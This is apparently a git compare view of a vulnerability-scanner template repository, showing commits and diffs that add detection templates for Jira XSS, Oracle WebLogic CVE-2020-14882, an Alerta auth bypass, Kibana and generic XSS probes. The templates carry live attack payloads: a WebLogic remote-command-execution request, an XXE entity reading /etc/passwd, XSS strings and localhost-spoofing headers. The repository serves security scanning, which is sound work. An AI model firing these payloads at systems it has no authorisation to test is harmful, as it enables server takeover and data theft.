Compare commits

...
23 Commits
Author SHA1 Message Date
bauthard b85f5656c8 Merge pull request #606 from CasperGN/cve-2020-26214
Add cve-2020-26214 detection
2020-11-07 16:42:45 +05:30
Casper Guldbech Nielsen e9b57b3e9a Add cve-2020-26214 detection
Signed-off-by: Casper Guldbech Nielsen <[email protected]>
2020-11-07 11:47:02 +01:00
bauthard f8eaaae3cb Merge pull request #604 from aancw/master
Add Kibana Service Technology
2020-11-06 16:25:19 +05:30
bauthard de55e6439d Update kibana-detect.yaml 2020-11-06 16:24:02 +05:30
bauthard beeb8ca5b7 Update jira-exploitaiton-workflow.yaml 2020-11-06 15:59:10 +05:30
bauthard cd90698cb5 Adding cve-2019-3402 2020-11-06 15:58:11 +05:30
bauthard 740f726208 Merge pull request #605 from savushkin-yauheni/patch-2
add new vulns to wordpress-workflow.yaml
2020-11-06 13:55:20 +05:30
Zhenya Savushkin 7c1b99b2ac add new vulns to wordpress-workflow.yaml 2020-11-06 10:53:49 +03:00
Aan d2c0b785ba Simplifying Yaml Format 2020-11-04 16:40:46 +07:00
Aan 9893610bb1 Add Kibana Service Technology 2020-11-04 15:49:18 +07:00
bauthard 6adbc5e25a Merge pull request #603 from geeknik/patch-14
Update top-15-xss.yaml
2020-11-04 10:49:56 +05:30
Geeknik Labs acae0a9d48 Update top-15-xss.yaml
Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
2020-11-03 18:00:38 +00:00
bauthard 449786eb6b Merge pull request #600 from geeknik/patch-13
Update basic-xss-prober.yaml
2020-11-02 20:58:27 +05:30
bauthard a32e2e7540 Update basic-xss-prober.yaml 2020-11-02 20:55:36 +05:30
Geeknik Labs 5e911f5cd9 Update basic-xss-prober.yaml
Hoping to cut down on false positives by ignoring reflections from JSON API endpoints
2020-11-02 15:04:05 +00:00
bauthard b239b4ff56 Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882
Update CVE-2020-14882 payload & with positive matchers
2020-11-02 13:33:12 +05:30
Dwi Siswanto b175c2117c 🔥 Update CVE-2020-14882 payload & with positive matchers 2020-11-02 14:23:12 +07:00
bauthard 73c94b174c moved to another branch for the fix. 2020-11-01 12:53:33 +05:30
bauthard 278982a441 Merge pull request #598 from geeknik/patch-12
Update server-status-localhost.yaml
2020-10-31 11:07:27 +05:30
Geeknik Labs a5f8b422e0 Update server-status-localhost.yaml 2020-10-30 20:33:50 +00:00
bauthard 8503dd1471 fixing mistake 2020-10-30 11:01:43 +05:30
bauthard 048cc7183c Merge pull request #596 from dwisiswant0/add/CVE-2020-14882
Add CVE-2020-14882
2020-10-29 19:16:49 +05:30
Dwi Siswanto baaba9036e 🔥 Add CVE-2020-14882 2020-10-29 19:58:49 +07:00
10 changed files with 150 additions and 6 deletions

No files matched your search

+24
View File
@@ -0,0 +1,24 @@
id: cve-2019-3402
info:
name: Jira - Reflected XSS using searchOwnerUserName parameter.
author: pdteam
severity: medium
description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
# Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
requests:
- method: GET
path:
- "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(1)</script>"
part: body
+1 -1
View File
@@ -16,7 +16,7 @@ requests:
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">]>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
+46
View File
@@ -0,0 +1,46 @@
id: cve-2020-14882
info:
name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
author: dwisiswant0
severity: critical
description: |
Vulnerability in the Oracle WebLogic Server
product of Oracle Fusion Middleware (component: Console).
Supported versions that are affected are 10.3.6.0.0,
12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated
attacker with network access via HTTP to compromise the server.
Successful attacks of this vulnerability can result in takeover.
# References:
# - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
# - https://twitter.com/jas502n/status/1321416053050667009
# - https://youtu.be/JFVDOIL0YtA
# - https://github.com/jas502n/CVE-2020-14882#eg
requests:
- payloads:
exec:
- "type C:\\Windows\\win.ini" # Windows
- "cat /etc/passwd" # *nix
raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
cmd: exec
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8
_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
- type: status
status:
- 200
+34
View File
@@ -0,0 +1,34 @@
id: cve-2020-26214
info:
name: Alerta Authentication Bypass (CVE-2020-26214)
author: CasperGN
severity: critical
description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
# Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
# Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
requests:
- method: GET
path:
- '{{BaseURL}}/api/config'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
condition: or
extractors:
- type: regex
part: body
name: alerta-version
group: 1
regex:
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+3 -1
View File
@@ -2,7 +2,7 @@ id: server-status-localhost
info:
name: Server Status Disclosure
author: bauthard
author: bauthard & geeknik
severity: low
requests:
@@ -14,6 +14,8 @@ requests:
X-Remote-Addr: "127.0.0.1"
X-Forwarded-For: "127.0.0.1"
X-Originating-IP: "127.0.0.1"
X-Host: "127.0.0.1"
X-Forwarded-Host: "127.0.0.1"
path:
- "{{BaseURL}}/server-status"
matchers:
+9 -1
View File
@@ -2,7 +2,7 @@ id: basic-xss-prober
info:
name: Basic XSS Prober
author: nadino
author: nadino & geeknik
severity: low
# Basic XSS prober
@@ -12,7 +12,15 @@ requests:
- method: GET
path:
- "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
matchers-condition: and
matchers:
- type: word
words:
- "\"><injectable>"
part: body
- type: word
words:
- "application/json"
part: header
negative: true
+5 -3
View File
@@ -5,8 +5,8 @@ info:
# Name is the name of the template
name: Top 15 XSS Check
# Author is the name of the author for the template
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
author: foulenzer
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
author: foulenzer & geeknik
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
@@ -25,4 +27,4 @@ requests:
- type: word
words:
- "text/html"
part: header
part: header
+24
View File
@@ -0,0 +1,24 @@
id: kibana-detect
info:
name: Kibana Service Detection
author: petruknisme
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/login?next=%2F"
- "{{BaseURL}}/bundles/login.bundle.js"
- "{{BaseURL}}/bundles/kibana.style.css"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "<title>Kibana</title>"
- "kibanaLoaderWrap"
- "kibanaLoader"
- "xpack"
- "Elasticsearch B.V"
condition: or
@@ -19,6 +19,7 @@ variables:
jira_cve_6: cves/CVE-2020-14179.yaml
jira_cve_7: cves/CVE-2020-14181.yaml
jira_cve_8: cves/CVE-2019-8442.yaml
jira_cve_9: cves/CVE-2019-3402.yaml
logic:
|
@@ -36,4 +37,5 @@ logic:
jira_cve_6()
jira_cve_7()
jira_cve_8()
jira_cve_9()
}
+2
View File
@@ -17,6 +17,8 @@ variables:
wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
sassy_social_share: vulnerabilities/sassy-social-share.yaml
wordpress_cve: cves/CVE-2019-9978.yaml
wordpress_cve_2: cves/CVE-2019-6715.yaml